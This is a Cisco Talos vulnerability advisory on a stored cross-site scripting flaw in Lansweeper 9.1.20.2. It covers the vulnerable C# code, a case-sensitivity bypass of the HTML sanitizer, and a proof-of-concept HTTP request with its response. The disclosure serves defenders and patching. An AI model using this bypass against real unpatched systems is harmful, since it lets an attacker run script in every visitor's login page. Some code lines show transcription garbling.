Talos Vulnerability Report

TALOS-2022-1442

Lansweeper WebUserActions.aspx Stored XSS vulnerability

FEBRUARY 28, 2022

CVE NUMBER

CVE-2022-21145

Summary

A stored cross-site scripting vulnerability exists in the WebUserActions.aspx functionality of Lansweeper lansweeper 9.1.20.2. A specially-crafted HTTP request can lead to arbitrary Javascript code injection. An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

Lansweeper lansweeper 9.1.20.2

Product URLs

lansweeper - https://www.lansweeper.com/

CVSSv3 Score

9.1 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

 $\mathsf{C}\,\mathsf{W}\,\mathsf{E}$

CWE-80 - Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

Details

Lansweeper is an IT Asset Management solution that gathers hardware and software information of computers and other devices on a computer network for management, compliance and audit purposes.

An exploitable stored xss vulnerability is related with an action: Configuration -> Website Settings and is located inside \LS\CF\WebUserActions.cs file. Let us take a close look at the vulnerable source code:

```
else if (current.Request["action"] == "loginlayout")
Line 147
Line 148
                        JsReturnObject jsReturnObject4 = new JsReturnObject();
Line 149
Line 150
Line 151
                        {
Line 152
                                string text4 = current.Request["value"].Trim();
Line 153
                                string text5 = new Regex("[^a-zA-Z0-9
-]").Replace(current.Request["name"], "");
(\ldots)
Line 240
                DB.ExecuteDataset("UPDATE TsysCustomLayout SET " + text5 + " = ∂p1",
DB.NewDBParameter("໖p1", (text5 == "loginmessage" || text5 == "loginfootertext") ?
HtmlSanitizer.SanitizeHtml(text4) : text4));
```

An attacker controlling parameters value and name is able to set new values for table fields such as loginmessage and loginfootertext. There is a sanitization attempt for both mentioned fields in line 240 before they get updated with a value of parameter value == text4. Unfortunately this check is not proper, and we can simply bypass it by setting e.g value of name == text5 to e.g Loginmessage or loginmessage. In such a way, none of the characters used by us will be removed in line 153. Simultaneously, we bypass the check text5 == loginmessage. As a consequence we can insert controlled data into the database without any sanitization. To trigger this vulnerability, an attacker needs to be authenticated and have permissions to change loginlayout fields. Injected code will be automatically triggered each time when a user visits the lansweeper login page.

Exploit Proof of Concept

REQUEST

```
POST /configuration/WebUsers/WebUserActions.aspx?action=loginlayout HTTP/1.1
Host: 192.168.0.102:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101
Firefox/95.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 261
Origin: http://192.168.0.102:81
Connection: close
Referer: http://192.168.0.102:81/configuration/WebUsers/default.aspx
Cookie: UserSettings=language=1; custauth=username=hacker&userdomain=;
ASP.NET_SessionId=lgve34t2113qechkef3uytce;
__RequestVerificationToken_Lw__=murmHbbVXPpH1R3EJDgF1WQsZis+Gb6CAsLBYb/j90SuLM7CD40h
4xXqxvCgfuqmOaBtpmsC0k3x3MkQjRQ3HxsbCX8IuNomvCcIQQGKG+90p/DAA6+KM/DvgT9TnlopUM7bszIz
CpwDZIsFkAQ7pGzCBKJjAHA4rfFqh3KhEaY=
name=LoginMessage&value=">
<h1>MESSAGE1</h1>6__RequestVerificationToken=vuttY%2BJT0Q6cOMEcrdhGEXniL%2BdCh4kTCkB
%2FLw15u3JVk2v6%2FIMXJEWQJthKsEh5xjD4MadA0YFMmV3zE%2F4h6QCwXezxsiI5%2FLQ1RriBSC8yEQZ
jghg4YhXQaL9%2FDKhrE1KqIP2%2B2jNJqaq4ed6F1wnl1GSJhLZUAHN91E1YBWI%3D
```

RESPONSE

```
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/8.0
x-frame-options: SAMEORIGIN
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 06 Jan 2022 13:42:55 GMT
Connection: close
Content-Length: 243
{"ErrorType":"", "Error":false, "Emsg":"", "AddedRows":
[["logo","38","","XSS1","aaa","XSS2","35","","XSS3","\">
<h1>MESSAGE1</h1>","XSS4","1","1","1"]],"Columns":[],"Columnwid":
[], "Action": "", "ReturnValues": {}, "ReturnValue": "", "ReturnObject": null}
```

2022-01-11 - Vendor disclosure 2022-02-21 - Vendor patched 2022-02-28 - Public Release		
CREDIT Discovered by Marcin "Icewall" Noga of Cisco Talos	S.	
VULNERABILITY REPORTS	PREVIOUS REPORT	NEXT REPORT
	TALOS-2022-1443	TALOS-2022-1441